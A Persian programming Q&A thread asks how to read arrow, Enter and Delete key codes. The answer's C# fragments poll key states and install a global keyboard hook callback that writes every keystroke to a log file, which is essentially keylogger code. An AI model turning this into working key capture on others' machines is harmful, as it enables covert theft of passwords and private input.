0 امتیاز
با سلام ، من میخوام یه برنامه بنویسم که کد اسکی کاراکتر ورودی رو نمایش بده ، برای این کار کاراکتر دریافتی رو در متغیر ch از نوع char میریزم و اونو به شکل int)ch) نمایش میدم ، حروف a تا z و اعداد رو به درستی نشون میده ولی دکمه های جهت نما و دکمه هایی مثل enter و delete و ... نشون نمیده ، باید کد خاصی برای دریافت این دکمه ها بنویسم ؟!

1 پاسخ

+2 امتیاز

سلام

جواب سوال شما تو این کد هاست  چندین روش برای این کار هست یکیش همین سوییچ هست و یکیش استفاده از api

البته در مورد اول هم از api استفاده شده اما مستقیم ازش استفاده نمیشه در مورد دوم اما اره

خواستید بگید سورس بدم

if (GetAsyncKeyState(i) == -32767)   //-32767(minimum value) indicates that key was pressed since we last called this function
                {
                    msg = Enum.GetName(typeof(Keys), i).ToString();
                    if (capslock == true)
                    {
                        msg = msg.ToUpper();
                    }
                    else
                        msg=msg.ToLower();
                    switch (msg)
                    {
                        case "space":case "SPACE":
                            msg = " ";
                            break;
                        case "capslock":
                        case "CAPSLOCK":
                            msg = " ";
                            break;

                      //  shiftkeylshiftkey
                        case "enter":case "ENTER":
                            msg=(Environment.NewLine);
                            break;
                           
                        case "LBUTTON": case "lbutton":
                            msg = "";
                            break;
                        case "OemPeriod":case "OEMPERIOD":case "oemperiod":
                            msg=".";
                            break;

                        case "LMenu":case "lemnu":case "LMENU":
                            msg="ALT ";
                            break;
                        case "Back":
                            msg = " ";
                            break;

                        case "Oem7":
                            msg="'";
                            break;
                        case "down":
                            msg = " D ";
                            break;
                        case "up":
                            msg = " U ";
                            break;
                        case "right":
                            msg = " R ";
                            break;
                        case "left":
                            msg = " L ";
                            break;
                        case "back":
                            msg = " B ";
                            break;
                        case "Oemcomma":
                            msg=",";
                            break;
                        case "Capital":
                            msg="CAPITAL ";
                            break;
                        case "Tab":
                            msg="TAB ";
                            break;
                        case "OemQuestion":
                            msg="?";
                            break;
                        case "Oem1":
                            msg=";";
                            break;
                        case "Oem5":
                            msg="\\";
                            break;
                        case "Oem6":
                            msg="]";
                            break;
                        case "OemOpenBrackets":
                            msg="[";
                            break;
                        case "OemMinus":
                            msg="-";
                            break;
                        case "Oemplus":
                            msg="+";
                            break;
                        /*case Keys.Down:
                            sw.Write("DownArrow-");
                            break;
                        case Keys.Left:
                            sw.Write("Left Arrow-");
                            break;
                        case Keys.Right:
                            sw.Write("Righr Arrow-");
                            break;
                        case Keys.Up:
                            sw.Write("Up Arrow-");
                            break;*/
                        case "subtract":
                       
                            msg = "-";
                            break;

                        case "multiply":

                            msg = "*";
                            break;
                        case "divide":

                            msg = "/";
                            break;
                        case "plus":
                        case "add":

                            msg = "+";
                            break;



                        case "D0":
                        case "d0":
                            msg="0";
                            break;
                        case "D1":
                        case "d1":
                            msg="1";
                            break;
                        case "D2":
                        case "d2":
                            msg="2";
                            break;
                        case "D3":
                        case "d3":
                            msg="3";
                            break;
                        case "D4":
                        case "d4":
                            msg="4";
                            break;
                        case "D5":
                        case "d5":
                            msg="5";
                            break;
                        case "D6":
                        case "d6":
                            msg="6";
                            break;
                        case "D7":
                        case "d7":
                            msg="7";
                            break;
                        case "D8":
                        case "d8":
                            msg="8";
                            break;
                        case "D9":
                        case "d9":
                            msg="9";
                            break;
                        ///////////////
                        case "numpad1":
                       
                            msg = "1";
                            break;
                        case "numpad2":

                            msg = "2";
                            break;
                        case "numpad3":

                            msg = "3";
                            break;
                        case "numpad4":

                            msg = "4";
                            break;
                        case "numpad5":

                            msg = "5";
                            break;
                        case "numpad6":

                            msg = "6";
                            break;
                        case "numpad7":

                            msg = "7";
                            break;
                        case "numpad8":

                            msg = "8";
                            break;
                        case "numpad9":

                            msg = "9";
                            break;
                        case "numpad0":

                            msg = "0";
                            break;



                        case "OemPipe":
                            msg = "|";
                            break;
                        case "rshiftkey":
                        case "RShiftKey":
                        case "RSHIFTKEY":
                            msg = "";
                            break;
                        case "LSHIFTKEY":
                       case "Lshiftkey":
                       case "lshiftkey":
                            msg = "";
                            break;

                       case "LCONTROLKEY":
                       case "lcontrolkey":
                            msg = "";
                            break;
                       case "RCONTROLKEY":
                       case "rcontrolkey":
                            msg = "";
                            break;

                            case "OemSemicolon":
                            msg=";";
                            break;
                        case "DELETE":case "delete":
                            msg = "";
                            break;
                        //case "DELETE":
                        //case "delete":
                          //  msg = "";
                            //break;
                    }
                    
                    if (msg.Contains("control") || msg.Contains("CONTROL")) try { msg = msg.Substring("CONTROL".Length, msg.Length); ctrl = 2; }
                        catch { msg = ""; ctrl = 2; }
                    if (msg.Contains("shift") || msg.Contains("SHIFT")) try { msg = msg.Substring("SHIFT".Length, msg.Length); shift = 3; }
                        catch { msg = ""; shift = 3; }

                    if (msg.Equals("delete") || msg.Equals("DELETE")) del = 2;
                    if(msg.Equals("back")||msg.Equals("BACK"))back=3;

                    if (shift == 1)
                    {
                        try
                        {
                            a = Convert.ToChar(msg);
                            shift = 0;
                            
                        }catch{}

                        if (capslock == true)
                        {
                            sp = Convert.ToInt32(a) + 32;
                            try { ab = Convert.ToChar(sp); }
                            catch { MessageBox.Show(sp.ToString()); }
                            msg = ab.ToString(); shift = 0;
                        }
                        else
                        {   
                           msg = msg.ToString().ToUpper();
                           sp = Convert.ToInt32(a) - 32;
                           try { ab = Convert.ToChar(sp); }
                           catch { MessageBox.Show(sp.ToString()); }
                           msg = ab.ToString(); shift = 0;
                        }
                        label1.Text = shift.ToString() + "  " + msg.ToString();
                        richTextBox1.Text += msg;
                        
                        shift = 0;
                    }
                    else
                    {
                     if(shift>= 2)shift--;
                        keyBuffer.Append(msg);
                        label1.Text = shift.ToString() + "  " + msg.ToString();
                        richTextBox1.Text += msg;
                    }
                }
            }		
        }

 

 

 

 

  
 private static IntPtr HookCallBack(int nCode,IntPtr wParam,IntPtr lParam, int key, bool iscaps, bool isshift)
        {
            string strkey = "";
            //  Thread.Sleep(5);
            if (nCode >=0 && wParam ==(IntPtr)WM_KEYDOWN)
            {
                int vCode = Marshal.ReadInt32(lParam);
                if (((Keys)vCode).ToString()=="OemPeriod")
                {
                    Console.Out.Write(".");
                    StreamWriter sW = new StreamWriter(@"c:\\log.txt", true);
                    sW.Write(".");
                    sW.Close();
                    sW.Dispose();
                }
                //***********************************************
                else if (((Keys)vCode).ToString() == "Return")
                {
                    Console.Out.WriteLine("Enter");
                    StreamWriter sW = new StreamWriter(@"c:\\log.txt", true);
                    sW.WriteLine("");
                    sW.Close();
                    sW.Dispose();

                }

              else  if (key == (int)Keys.D2 || key == (int)System.Windows.Forms.Keys.NumPad2)
                {
                    if (!isshift) { strkey = "2"; } else { strkey = "@"; }
                   /// Console.Out.Write("+");
                    StreamWriter sW = new StreamWriter(@"g:\\log.txt", true);
                    sW.Write(strkey);
                    sW.Close();
                    sW.Dispose();
                  //  return;
                }
                else if (((Keys)vCode).ToString() == "Add")
                    {
                        Console.Out.Write("+");
                        StreamWriter sW = new StreamWriter(@"g:\\log.txt", true);
                        sW.Write("+");
                        sW.Close();
                        sW.Dispose();

                    }
               
                else if (((Keys)vCode).ToString() == "OemQuestion")
                {
                    Console.Out.Write("/");
                    StreamWriter sW = new StreamWriter(@"g:\\log.txt", true);
                    sW.Write("/");
                    sW.Close();
                    sW.Dispose();

                }
                else if (((Keys)vCode).ToString() == "Subtract")
                {
                    Console.Out.Write("-");
                    StreamWriter sW = new StreamWriter(@"g:\\log.txt", true);
                    sW.Write("-");
                    sW.Close();
                    sW.Dispose();

                }
               
               
                

               
                
                else
                {
                   
                    Console.Out.Write((Keys)vCode);
                    StreamWriter sW = new StreamWriter(@"c:\\log.txt", true);
                    sW.Write((Keys)vCode);
                    sW.Close();
                    sW.Dispose();

                }
               
            }
            return CallNextHookEx(IntPtr.Zero, nCode, wParam, lParam);
        }
       

 

توسط (7,164 امتیاز) 4 7 141
سوال جدید

2,337 سوال

2,871 پاسخ

3,725 دیدگاه

3,924 کاربر

دسته بندی ها

...